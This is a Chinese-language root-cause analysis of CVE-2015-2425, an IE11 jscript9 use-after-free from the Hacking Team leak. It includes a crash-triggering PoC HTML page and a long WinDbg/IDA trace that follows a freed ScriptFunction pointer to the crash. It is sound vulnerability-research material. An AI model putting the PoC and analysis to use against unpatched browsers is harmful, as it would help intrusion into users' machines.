前言
CVE-2015-2425是Hacking team泄露出来的一个IE11的0day漏洞,影响了IE11及之前的版本。在一封Hacking Team高层收到的来自Vectra Networks安全公司的信件中被发现。Vectra Networks公司的研究者在信中向Hacking Team提供了对于Windows 7/8.1最新版的IE11的poc代码。但Hacking Team并没有购买,所以只泄露了poc,并没有攻击代码。
环境
测试环境是win8.132位,IE版本是IE11。
poc
poc.html:
<!doctype html>
<html>
<head>
<script>
function testcase()
{
var observerObject = new MutationObserver(function(){});
document.write("1");
node1 = document.createElement('DIV');
node2 = document.createElement('DIV');
node3 = document.createElement('DIV');
node4 = document.createElement('script');
node4.innerText = '1;';
var observerObject = new MutationObserver(function(){});
observerObject.observe(node1, {childList: true, subtree: true});
node1.appendChild(node2);
document.body.appendChild(node4);
node2.parentNode.insertBefore(node3, node2);
}
</script>
</head>
<body onload='testcase();'>
</body>
</html>
把IE11附加到windbg上,然后运行poc.html,IE11崩溃到一个无法读取的地址:
0:005>
eax=057e0000 ebx=0583a140 ecx=63e0630a edx=02ca8484 esi=00000003 edi=0325c9e4
eip=057e0000 esp=0325c81c ebp=0325c868 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
057e0000 ?? ???
windbg+IDA分析
由于崩溃在一个不可访问的地址,不好确定之前的指令,这时需要用到与栈回溯相关的命令,就是windbg中的k一系列命令:
k 显示调用栈
kn 调用带帧号的栈
kb 显示调用前三项栈
kb 5 仅显示调用前五帧
kv 在kb命令的基础上增加显示FPO信息和调用协议
每一行描述当前的一个栈帧,最上面的一行描述的是当前指令的返回地址:
0:005> k
ChildEBP RetAddr
0325c818 63dfcf3c 0x57e0000
0325c868 63dfd509 jscript9!Js::JavascriptFunction::CallFunction<1>+0x88
0325c8d4 63dfd45b jscript9!Js::JavascriptFunction::CallRootFunction+0x93
0325c91c 63dfd3e2 jscript9!ScriptSite::CallRootFunction+0x42
0325c944 63dfea53 jscript9!ScriptSite::Execute+0x6c
0325c9a0 63dfe98f jscript9!ScriptEngineBase::ExecuteInternal<0>+0xbb
0325c9b8 6476cc83 jscript9!ScriptEngineBase::Execute+0x1c
由此可知崩溃的返回地址是63dfcf3c,在JavascriptFunction::CallFunction<1>中,看当前的esp也可以得出同样的结论:
0:005> dd esp
0325c81c 63dfcf3c 0583a140 00000003 05818b70
0:005> u 63dfcf3c L1
jscript9!Js::JavascriptFunction::CallFunction<1>+0x88:
63dfcf3c 8b65e0 mov esp,dword ptr [ebp-20h]
为了看到函数是怎么调用的,需要用到.frame命令,使用.frame /c 1回到崩溃栈的第一层,也就是上层函数调用时的状态:
0:005> .frame /c 1
01 0325c868 63dfd509 jscript9!Js::JavascriptFunction::CallFunction<1>+0x88
eax=057e0000 ebx=0583a140 ecx=63e0630a edx=02ca8484 esi=00000003 edi=0325c9e4
eip=63dfcf3c esp=0325c820 ebp=0325c868 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!Js::JavascriptFunction::CallFunction<1>+0x88:
63dfcf3c 8b65e0 mov esp,dword ptr [ebp-20h] ss:0023:0325c848=0325c838
看到回到了上层函数中,eip的值为崩溃处的返回地址,在反汇编窗口可以看到上层函数,也可以用u命令:
0:005> ub . L30
jscript9!RecyclerSweep::FinishSweep+0x7a:
63dfceb9 90 nop
63dfceba 90 nop
jscript9!Js::JavascriptFunction::CallFunction<1>:
63dfcebb 8bff mov edi,edi
63dfcebd 55 push ebp
63dfcebe 8bec mov ebp,esp
63dfcec0 83ec24 sub esp,24h
63dfcec3 53 push ebx
63dfcec4 8bd9 mov ebx,ecx
63dfcec6 8955e4 mov dword ptr [ebp-1Ch],edx
63dfcec9 56 push esi
63dfceca 8b7508 mov esi,dword ptr [ebp+8]
63dfcecd 57 push edi
63dfcece 8b4304 mov eax,dword ptr [ebx+4]
63dfced1 8975ec mov dword ptr [ebp-14h],esi
63dfced4 81e6ffffff00 and esi,0FFFFFFh
63dfceda 8bd6 mov edx,esi
63dfcedc 895de8 mov dword ptr [ebp-18h],ebx
63dfcedf c1e202 shl edx,2
63dfcee2 8b4004 mov eax,dword ptr [eax+4]
63dfcee5 52 push edx
63dfcee6 8955f4 mov dword ptr [ebp-0Ch],edx
63dfcee9 8bb814020000 mov edi,dword ptr [eax+214h]
63dfceef 8b8748020000 mov eax,dword ptr [edi+248h]
63dfcef5 8bc8 mov ecx,eax
63dfcef7 8945f8 mov dword ptr [ebp-8],eax
63dfcefa e823b7ffff call jscript9!ThreadContext::IsStackAvailable (63df8622)
63dfceff 84c0 test al,al
63dfcf01 0f84a7ef2100 je jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x1ca7b (6401beae)
63dfcf07 8965e0 mov dword ptr [ebp-20h],esp
63dfcf0a 8b45f4 mov eax,dword ptr [ebp-0Ch]
63dfcf0d 3d00100000 cmp eax,1000h
63dfcf12 7d3a jge jscript9!Js::JavascriptFunction::CallFunction<1>+0x5d (63dfcf4e)
63dfcf14 2be0 sub esp,eax
63dfcf16 83e4f8 and esp,0FFFFFFF8h
63dfcf19 8965f0 mov dword ptr [ebp-10h],esp
63dfcf1c 8b55f0 mov edx,dword ptr [ebp-10h]
63dfcf1f 33c9 xor ecx,ecx
63dfcf21 8b7d0c mov edi,dword ptr [ebp+0Ch]
63dfcf24 85f6 test esi,esi
63dfcf26 740b je jscript9!Js::JavascriptFunction::CallFunction<1>+0x7f (63dfcf33)
63dfcf28 8b048f mov eax,dword ptr [edi+ecx*4]
63dfcf2b 89048a mov dword ptr [edx+ecx*4],eax
63dfcf2e 41 inc ecx
63dfcf2f 3bce cmp ecx,esi
63dfcf31 72f5 jb jscript9!Js::JavascriptFunction::CallFunction<1>+0x74 (63dfcf28)
63dfcf33 ff75ec push dword ptr [ebp-14h]
63dfcf36 ff75e8 push dword ptr [ebp-18h]
63dfcf39 ff55e4 call dword ptr [ebp-1Ch]
产生崩溃的地方是63dfcf39的call函数,调用的是[ebp-1Ch]处的函数指针,在IDA中看一下CallFunction<1>的定义:
int __fastcall Js::JavascriptFunction::CallFunction<1>(int a1, int (__fastcall *a2)(unsigned int, struct Js::ScriptContext **, int, int), int a3, int a4)
这个函数是__fastcall方式调用的,__fastcall是一种快速调用方式,规定将前两个参数由寄存器ecx和edx来传递,其余参数还是通过堆栈传递(从右到左),不同编译器编译的程序规定的寄存器不同。在Intel 386平台上,使用ECX和EDX寄存器。
往前找更改ebp-1Ch内容的指令,只有63dfcec6处的mov指令:
jscript9!Js::JavascriptFunction::CallFunction<1>:
63dfcebb 8bff mov edi,edi
63dfcebd 55 push ebp
63dfcebe 8bec mov ebp,esp
63dfcec0 83ec24 sub esp,24h
63dfcec3 53 push ebx
63dfcec4 8bd9 mov ebx,ecx
63dfcec6 8955e4 mov dword ptr [ebp-1Ch],edx
...
...
63dfcf33 ff75ec push dword ptr [ebp-14h]
63dfcf36 ff75e8 push dword ptr [ebp-18h]
63dfcf39 ff55e4 call dword ptr [ebp-1Ch]
edx是函数的第二个参数,也就是一个函数指针,所以63dfcf39处的指令是调用了函数指针所指向的函数,这样的话,还需要向上层看,到底是什么样的函数指针,回到上一层函数:
0:005> .frame /c 2
02 0325c8d4 63dfd45b jscript9!Js::JavascriptFunction::CallRootFunction+0x93
eax=057e0000 ebx=0583a140 ecx=63e0630a edx=02ca8484 esi=02ca0438 edi=0325c8a0
eip=63dfd509 esp=0325c870 ebp=0325c8d4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!Js::JavascriptFunction::CallRootFunction+0x93:
63dfd509 8bf0 mov esi,eax
0:005> ub . L30
jscript9!Js::JavascriptFunction::CallRootFunction:
63dfd472 6a40 push 40h
63dfd474 b82c17fa63 mov eax,offset jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x1e58 (63fa172c)
63dfd479 e8333cffff call jscript9!_except_handler4 (63df10b1)
63dfd47e 8bd9 mov ebx,ecx
63dfd480 8b7508 mov esi,dword ptr [ebp+8]
63dfd483 8365ec00 and dword ptr [ebp-14h],0
63dfd487 8b8ed8050000 mov ecx,dword ptr [esi+5D8h]
63dfd48d 8b8648020000 mov eax,dword ptr [esi+248h]
63dfd493 8945e4 mov dword ptr [ebp-1Ch],eax
63dfd496 85c9 test ecx,ecx
63dfd498 0f840c401a00 je jscript9!Js::JavascriptFunction::CallRootFunction+0xe4 (63fa14aa)
63dfd49e 8b01 mov eax,dword ptr [ecx]
63dfd4a0 ff5028 call dword ptr [eax+28h]
63dfd4a3 85c0 test eax,eax
63dfd4a5 0f9545e8 setne byte ptr [ebp-18h]
63dfd4a9 8365b400 and dword ptr [ebp-4Ch],0
63dfd4ad 8d7db8 lea edi,[ebp-48h]
63dfd4b0 ff75e8 push dword ptr [ebp-18h]
63dfd4b3 33c0 xor eax,eax
63dfd4b5 8d4dcc lea ecx,[ebp-34h]
63dfd4b8 ab stos dword ptr es:[edi]
63dfd4b9 6a01 push 1
63dfd4bb 6a01 push 1
63dfd4bd ff7504 push dword ptr [ebp+4]
63dfd4c0 ab stos dword ptr es:[edi]
63dfd4c1 ab stos dword ptr es:[edi]
63dfd4c2 ab stos dword ptr es:[edi]
63dfd4c3 ab stos dword ptr es:[edi]
63dfd4c4 8d45b4 lea eax,[ebp-4Ch]
63dfd4c7 50 push eax
63dfd4c8 56 push esi
63dfd4c9 e881d0ffff call jscript9!Js::EnterScriptObject::EnterScriptObject (63dfa54f)
63dfd4ce 8365fc00 and dword ptr [ebp-4],0
63dfd4d2 8bce mov ecx,esi
63dfd4d4 0fb68624070000 movzx eax,byte ptr [esi+724h]
63dfd4db 6a01 push 1
63dfd4dd 50 push eax
63dfd4de 6a01 push 1
63dfd4e0 e8cdcbffff call jscript9!Js::ScriptContext::OnScriptStart (63dfa0b2)
63dfd4e5 c645fc01 mov byte ptr [ebp-4],1
63dfd4e9 8bcb mov ecx,ebx
63dfd4eb f7450c00000001 test dword ptr [ebp+0Ch],1000000h
63dfd4f2 ff7510 push dword ptr [ebp+10h]
63dfd4f5 ff750c push dword ptr [ebp+0Ch]
63dfd4f8 0f85a8ad1c00 jne jscript9!Js::JavascriptFunction::CallRootFunction+0xed (63fc82a6)
63dfd4fe 8b4304 mov eax,dword ptr [ebx+4]
63dfd501 8b500c mov edx,dword ptr [eax+0Ch]
63dfd504 e8b2f9ffff call jscript9!Js::JavascriptFunction::CallFunction<1> (63dfcebb)
看到edx来源是[eax+0Ch],而eax的来源是[ebx+4],ebx来源于下面一句:
63dfd47e 8bd9 mov ebx,ecx
看一下这个函数的定义:
int __thiscall Js::JavascriptFunction::CallRootFunction(void *this, int a2, int a3, int a4)
__thiscall为了解决类成员调用中this指针传递而规定的,__thiscall要求把this指针放在特定寄存器中,该寄存器由编译器决定。VC使用ecx。所以这里ecx里的指针就是this指针。梳理一下这里的过程:
Js::JavascriptFunction::CallRootFunction:
mov ebx,ecx
mov eax,[ebx+4]
mov edx,[eax+0Ch]
Js::JavascriptFunction::CallFunction<1>:
mov [ebp-1Ch],edx
call [ebp-1Ch]
推测这里调用了某个对象的成员函数,而这个对象是JavascriptFunction对象。
弄清楚后我们回到崩溃点所在的函数内,选择在call [ebp-1Ch]处下断点,断点会多次触发,触发5次后,停下,步入函数看:
0:016> bp 63dfcf39
0:016> g
Breakpoint 0 hit
eax=00000000 ebx=043f8e80 ecx=00000000 edx=02e8c248 esi=00000000 edi=00000000
eip=63dfcf39 esp=02e8c240 ebp=02e8c278 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!Js::JavascriptFunction::CallFunction<1>+0x85:
63dfcf39 ff55e4 call dword ptr [ebp-1Ch] ss:0023:02e8c25c=63e06312
0:005> g
Breakpoint 0 hit
eax=04416240 ebx=043f8f20 ecx=00000002 edx=02e8bf18 esi=00000002 edi=02e8c0cc
eip=63dfcf39 esp=02e8bf10 ebp=02e8bf50 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!Js::JavascriptFunction::CallFunction<1>+0x85:
63dfcf39 ff55e4 call dword ptr [ebp-1Ch] ss:0023:02e8bf34=63e06312
0:005> g
Breakpoint 0 hit
eax=00000000 ebx=0546a400 ecx=00000000 edx=02e8a710 esi=00000000 edi=00000000
eip=63dfcf39 esp=02e8a708 ebp=02e8a740 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!Js::JavascriptFunction::CallFunction<1>+0x85:
63dfcf39 ff55e4 call dword ptr [ebp-1Ch] ss:0023:02e8a724=63e06312
0:005> g
Breakpoint 0 hit
eax=05448b70 ebx=0546a140 ecx=00000003 edx=02e8a908 esi=00000003 edi=02e8aac4
eip=63dfcf39 esp=02e8a900 ebp=02e8a948 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!Js::JavascriptFunction::CallFunction<1>+0x85:
63dfcf39 ff55e4 call dword ptr [ebp-1Ch] ss:0023:02e8a92c=63e06312
0:005> g
Breakpoint 0 hit
eax=05448b70 ebx=0546a140 ecx=00000003 edx=02e8c6f8 esi=00000003 edi=02e8c8b4
eip=63dfcf39 esp=02e8c6f0 ebp=02e8c738 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!Js::JavascriptFunction::CallFunction<1>+0x85:
63dfcf39 ff55e4 call dword ptr [ebp-1Ch] ss:0023:02e8c71c=63e06312
0:005> t
eax=05448b70 ebx=0546a140 ecx=00000003 edx=02e8c6f8 esi=00000003 edi=02e8c8b4
eip=63e06312 esp=02e8c6ec ebp=02e8c738 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!NativeCodeGenerator::CheckCodeGen+0x12d:
63e06312 8bc0 mov eax,eax
...
...
0:005>
eax=05448b70 ebx=0546a140 ecx=00000003 edx=02e8c6f8 esi=00000003 edi=02e8c8b4
eip=63e0631b esp=02e8c6e4 ebp=02e8c6e8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!NativeCodeGenerator::CheckCodeGenThunk+0x7:
63e0631b e81dffffff call jscript9!NativeCodeGenerator::CheckCodeGen (63e0623d)
0:005>
eax=05410000 ebx=0546a140 ecx=63e0630a edx=02716e84 esi=00000003 edi=02e8c8b4
eip=63e06320 esp=02e8c6e8 ebp=02e8c6e8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!NativeCodeGenerator::CheckCodeGenThunk+0xc:
63e06320 5d pop ebp
0:005>
eax=05410000 ebx=0546a140 ecx=63e0630a edx=02716e84 esi=00000003 edi=02e8c8b4
eip=63e06321 esp=02e8c6ec ebp=02e8c738 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!NativeCodeGenerator::CheckCodeGenThunk+0xd:
63e06321 ffe0 jmp eax {05410000}
在63e0631b处的call后,eax就会变成一段已经释放内存的地址,看到这句的jmp指令跳到了eax指向的值,把这段函数汇编看一下:
0:005> u NativeCodeGenerator::CheckCodeGenThunk 63e06322
jscript9!NativeCodeGenerator::CheckCodeGenThunk:
63e06314 55 push ebp
63e06315 8bec mov ebp,esp
63e06317 ff742408 push dword ptr [esp+8]
63e0631b e81dffffff call jscript9!NativeCodeGenerator::CheckCodeGen (63e0623d)
63e06320 5d pop ebp
63e06321 ffe0 jmp eax
eax里存放的应该是NativeCodeGenerator::CheckCodeGen的返回值,这次在这个函数上下断点再次调试,会触发六次断点,在返回前调用了NativeCodeGenerator::CheckCodeGenDone将eax置为了不可访问的地址:
0:007>
eax=02c9c524 ebx=00000001 ecx=04b7a140 edx=02548418 esi=030c8180 edi=02533480
eip=63e01d02 esp=02c9c510 ebp=02c9c544 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
jscript9!NativeCodeGenerator::CheckCodeGen+0x130:
63e01d02 e80a000000 call jscript9!NativeCodeGenerator::CheckCodeGenDone (63e01d11)
0:007>
eax=03ce0000 ebx=00000001 ecx=03ce0000 edx=02548484 esi=030c8180 edi=02533480
eip=63e01d07 esp=02c9c510 ebp=02c9c544 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!NativeCodeGenerator::CheckCodeGen+0x135:
63e01d07 e9f9450000 jmp jscript9!NativeCodeGenerator::CheckCodeGen+0x120 (63e06305)
看看NativeCodeGenerator::CheckCodeGenDone,这次还在调用NativeCodeGenerator::CheckCodeGen上下断点,六次断点后进入CheckCodeGenDone,发现里面还有一个call改变了eax的值,然后还有mov eax,edi:
0:005>
eax=02300230 ebx=03fd8180 ecx=0500a140 edx=008dee84 esi=03fd9120 edi=04fb0000
eip=63e01d86 esp=02a4c228 ebp=02a4c248 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
jscript9!NativeCodeGenerator::CheckCodeGenDone+0x71:
63e01d86 e854480000 call jscript9!Js::ScriptFunction::UpdateThunkEntryPoint (63e065df)
0:005>
eax=04fb0000 ebx=03fd8180 ecx=04fb0000 edx=008dee84 esi=03fd9120 edi=04fb0000
eip=63e01d8b esp=02a4c230 ebp=02a4c248 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!NativeCodeGenerator::CheckCodeGenDone+0x76:
63e01d8b 8bc7 mov eax,edi
再次用相同的方式调试,这次进入ScriptFunction::UpdateThunkEntryPoint看看,这个函数如下:
jscript9!Js::ScriptFunction::UpdateThunkEntryPoint:
63e065df 8bff mov edi,edi
63e065e1 55 push ebp
63e065e2 8bec mov ebp,esp
63e065e4 56 push esi
63e065e5 8bf1 mov esi,ecx
63e065e7 8b06 mov eax,dword ptr [esi]
63e065e9 ff906c010000 call dword ptr [eax+16Ch]
63e065ef 85c0 test eax,eax
63e065f1 0f8575281500 jne jscript9!Js::ScriptFunction::UpdateThunkEntryPoint+0x29 (63f58e6c)
63e065f7 ff750c push dword ptr [ebp+0Ch]
63e065fa 8bce mov ecx,esi
63e065fc ff7508 push dword ptr [ebp+8]
63e065ff e80d000000 call jscript9!Js::ScriptFunction::ChangeEntryPoint (63e06611)
63e06604 8b450c mov eax,dword ptr [ebp+0Ch] ss:0023:04e5c30c=05900000
63e06607 5e pop esi
63e06608 5d pop ebp
63e06609 c20800 ret 8
63e06604的mov语句改变了eax:
0:015>
eax=0595e8a0 ebx=05128180 ecx=05900000 edx=02aeea84 esi=0595a140 edi=05900000
eip=63e06604 esp=04e5c2fc ebp=04e5c300 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!Js::ScriptFunction::UpdateThunkEntryPoint+0x21:
63e06604 8b450c mov eax,dword ptr [ebp+0Ch] ss:0023:04e5c30c=05900000
这个函数返回后有一个mov eax,esi的指令,但这里edi值也已经是返回后eax的值了,看来还要追踪edi,看一下CheckCodeGenDone函数:
0:015> u NativeCodeGenerator::CheckCodeGenDone 63e01d8e
jscript9!NativeCodeGenerator::CheckCodeGenDone:
63e01d11 8bff mov edi,edi
63e01d13 55 push ebp
63e01d14 8bec mov ebp,esp
63e01d16 83ec0c sub esp,0Ch
63e01d19 8b4114 mov eax,dword ptr [ecx+14h]
63e01d1c 53 push ebx
63e01d1d 56 push esi
63e01d1e 57 push edi
63e01d1f 8b7010 mov esi,dword ptr [eax+10h]
63e01d22 8b4104 mov eax,dword ptr [ecx+4]
63e01d25 894df8 mov dword ptr [ebp-8],ecx
63e01d28 8a96dd000000 mov dl,byte ptr [esi+0DDh]
63e01d2e 8b5820 mov ebx,dword ptr [eax+20h]
63e01d31 f6c220 test dl,20h
63e01d34 0f8433250300 je jscript9!NativeCodeGenerator::CheckCodeGenDone+0x7f (63e3426d)
63e01d3a 8a86dd000000 mov al,byte ptr [esi+0DDh]
63e01d40 a801 test al,1
63e01d42 7508 jne jscript9!NativeCodeGenerator::CheckCodeGenDone+0x37 (63e01d4c)
63e01d44 0c01 or al,1
63e01d46 8886dd000000 mov byte ptr [esi+0DDh],al
63e01d4c 807b3c03 cmp byte ptr [ebx+3Ch],3
63e01d50 8b7b0c mov edi,dword ptr [ebx+0Ch]
63e01d53 0f85c3522100 jne jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x178e1 (6401701c)
63e01d59 8b4350 mov eax,dword ptr [ebx+50h]
63e01d5c 85c0 test eax,eax
63e01d5e 7421 je jscript9!NativeCodeGenerator::CheckCodeGenDone+0x6c (63e01d81)
63e01d60 80781500 cmp byte ptr [eax+15h],0
63e01d64 741b je jscript9!NativeCodeGenerator::CheckCodeGenDone+0x6c (63e01d81)
63e01d66 ff7620 push dword ptr [esi+20h]
63e01d69 8bcb mov ecx,ebx
63e01d6b e866000000 call jscript9!Js::EntryPointInfo::PinTypeRefs (63e01dd6)
63e01d70 ff7620 push dword ptr [esi+20h]
63e01d73 8bcb mov ecx,ebx
63e01d75 e833000000 call jscript9!Js::EntryPointInfo::InstallTypePropertyGuards (63e01dad)
63e01d7a 8bcb mov ecx,ebx
63e01d7c e8d1120000 call jscript9!Js::EntryPointInfo::FreeJitTransferData (63e03052)
63e01d81 8b4df8 mov ecx,dword ptr [ebp-8]
63e01d84 57 push edi
63e01d85 53 push ebx
63e01d86 e854480000 call jscript9!Js::ScriptFunction::UpdateThunkEntryPoint (63e065df)
63e01d8b 8bc7 mov eax,edi
edi是作为参数传入UpdateThunkEntryPoint的,并且在函数内没有被改变,那么还要往回追踪,经过回溯,从CheckCodeGenDone函数开头开始跟,由于中间还有跳转,所以edi的值还会改变,跟到edi变成崩溃时的返回地址时可以得出:
0:005>
eax=0294c45c ebx=00000001 ecx=0506a140 edx=021e5d88 esi=04348180 edi=021e5e08
eip=63e01d19 esp=0294c434 ebp=0294c440 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
jscript9!NativeCodeGenerator::CheckCodeGenDone+0x8:
63e01d19 8b4114 mov eax,dword ptr [ecx+14h] ds:0023:0506a154=04349120
...
0:005>
eax=0506e8a0 ebx=00000001 ecx=0506a140 edx=021e5d84 esi=04349120 edi=021e5e08
eip=63e01d2e esp=0294c428 ebp=0294c440 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
jscript9!NativeCodeGenerator::CheckCodeGenDone+0x1d:
63e01d2e 8b5820 mov ebx,dword ptr [eax+20h] ds:0023:0506e8c0=04348180
...
0:005>
eax=04345185 ebx=04348180 ecx=00000000 edx=021e5d84 esi=04349120 edi=021e5e08
eip=63e01d50 esp=0294c428 ebp=0294c440 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
jscript9!NativeCodeGenerator::CheckCodeGenDone+0x3b:
63e01d50 8b7b0c mov edi,dword ptr [ebx+0Ch] ds:0023:0434818c=63e06312
...
0:005>
eax=021e03f0 ebx=04348180 ecx=00000000 edx=021e5d84 esi=04349120 edi=63e06312
eip=6401701f esp=0294c428 ebp=0294c440 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x178e4:
6401701f bfc6770e64 mov edi,offset jscript9!Js::ScriptContext::DebugProfileProbeThunk (640e77c6)
...
0:005>
eax=021e03f0 ebx=04348180 ecx=00000000 edx=021e5d84 esi=04349120 edi=640e77c6
eip=64017029 esp=0294c428 ebp=0294c440 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x178ee:
64017029 8b7e04 mov edi,dword ptr [esi+4] ds:0023:04349124=05010000
那么还需要跟踪一下esi,可以看到来自eax,而eax来自ecx:
0:005>
eax=0294c45c ebx=00000001 ecx=00000000 edx=021e5d88 esi=04348180 edi=021e5e08
eip=63e01cff esp=0294c448 ebp=0294c47c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
jscript9!NativeCodeGenerator::CheckCodeGen+0x12d:
63e01cff 8b4d08 mov ecx,dword ptr [ebp+8] ss:0023:0294c484=0506a140
...
0:005>
eax=0294c45c ebx=00000001 ecx=0506a140 edx=021e5d88 esi=04348180 edi=021e5e08
eip=63e01d19 esp=0294c434 ebp=0294c440 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
jscript9!NativeCodeGenerator::CheckCodeGenDone+0x8:
63e01d19 8b4114 mov eax,dword ptr [ecx+14h] ds:0023:0506a154=04349120
...
0:005>
eax=04349120 ebx=00000001 ecx=0506a140 edx=021e5d88 esi=04348180 edi=021e5e08
eip=63e01d1f esp=0294c428 ebp=0294c440 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
jscript9!NativeCodeGenerator::CheckCodeGenDone+0xe:
63e01d1f 8b7010 mov esi,dword ptr [eax+10h] ds:0023:04349130=04349120
所以ecx中是CheckCodeGen的第一个参数:
void *(__high *__stdcall NativeCodeGenerator::CheckCodeGen(struct Js::ScriptFunction *a1))(struct Js::RecyclableObject *, struct Js::CallInfo, ...)
是ScriptFunction对象,说明在最后一次调用CheckCodeGen前这个对象就已经被释放了,用poi看看指针引用的过程,通过三次引用找到了那块已经释放的内存:
0:005> d poi(poi(poi(0506a140+0x14)+0x10)+0x4)
05010000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
重启后在第五次断在63e0631b时,ebx指向了ScriptFunction对象,这时看一下触发漏洞的指针,然后在第六次时看一下指针:
0:015> g
Breakpoint 0 hit
eax=058e8b70 ebx=0590a140 ecx=00000003 edx=04e2aa68 esi=00000003 edi=04e2ac24
eip=63e0631b esp=04e2aa54 ebp=04e2aa58 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!NativeCodeGenerator::CheckCodeGenThunk+0x7:
63e0631b e81dffffff call jscript9!NativeCodeGenerator::CheckCodeGen (63e0623d)
0:015> d poi(poi(poi(0590a140+0x14)+0x10)+0x4)
63e06d2e 8b c0 55 8b ec ff 74 24-08 e8 b8 ff ff ff 5d ff ..U...t$......].
63e06d3e e0 8b 75 c8 8b 46 04 88-54 b8 04 8b 46 04 89 4c ..u..F..T...F..L
63e06d4e b8 08 fe 46 38 e9 b0 fa-ff ff 90 90 90 90 90 8b ...F8...........
63e06d5e ff 55 8b ec 51 53 8b 5d-0c 56 57 8b 7d 08 8b 33 .U..QS.].VW.}..3
63e06d6e 89 4d fc 8b 47 24 8b 40-20 8b 00 83 78 08 ff 8b .M..G$.@ ...x...
63e06d7e 50 10 89 55 0c 0f 84 80-0e 00 00 85 f6 75 19 8b P..U.........u..
63e06d8e 47 20 8b d7 56 8b 88 70-04 00 00 e8 88 00 00 00 G ..V..p........
63e06d9e 8b 55 0c 8b 4d fc 89 03-80 b9 44 02 00 00 00 75 .U..M.....D....u
0:015> g
Breakpoint 0 hit
eax=058e8b70 ebx=0590a140 ecx=00000003 edx=04e2c850 esi=00000003 edi=04e2ca0c
eip=63e0631b esp=04e2c83c ebp=04e2c840 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!NativeCodeGenerator::CheckCodeGenThunk+0x7:
63e0631b e81dffffff call jscript9!NativeCodeGenerator::CheckCodeGen (63e0623d)
0:015> d poi(poi(poi(0590a140+0x14)+0x10)+0x4)
058b0000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
058b0010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
...
0:015> g
(f90.6e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=058b0000 ebx=0590a140 ecx=63e0630a edx=02aee484 esi=00000003 edi=04e2ca0c
eip=058b0000 esp=04e2c844 ebp=04e2c890 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
058b0000 ?? ???
两次指针并不相同,说明指针被改写了一次,重新运行一样在第五次断点被触发时看一下这里的内存,此时还没有被改写:
0:005> g
Breakpoint 0 hit
eax=05a88b70 ebx=05aaa140 ecx=00000003 edx=032aa578 esi=00000003 edi=032aa734
eip=63e0631b esp=032aa564 ebp=032aa568 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!NativeCodeGenerator::CheckCodeGenThunk+0x7:
63e0631b e81dffffff call jscript9!NativeCodeGenerator::CheckCodeGen (63e0623d)
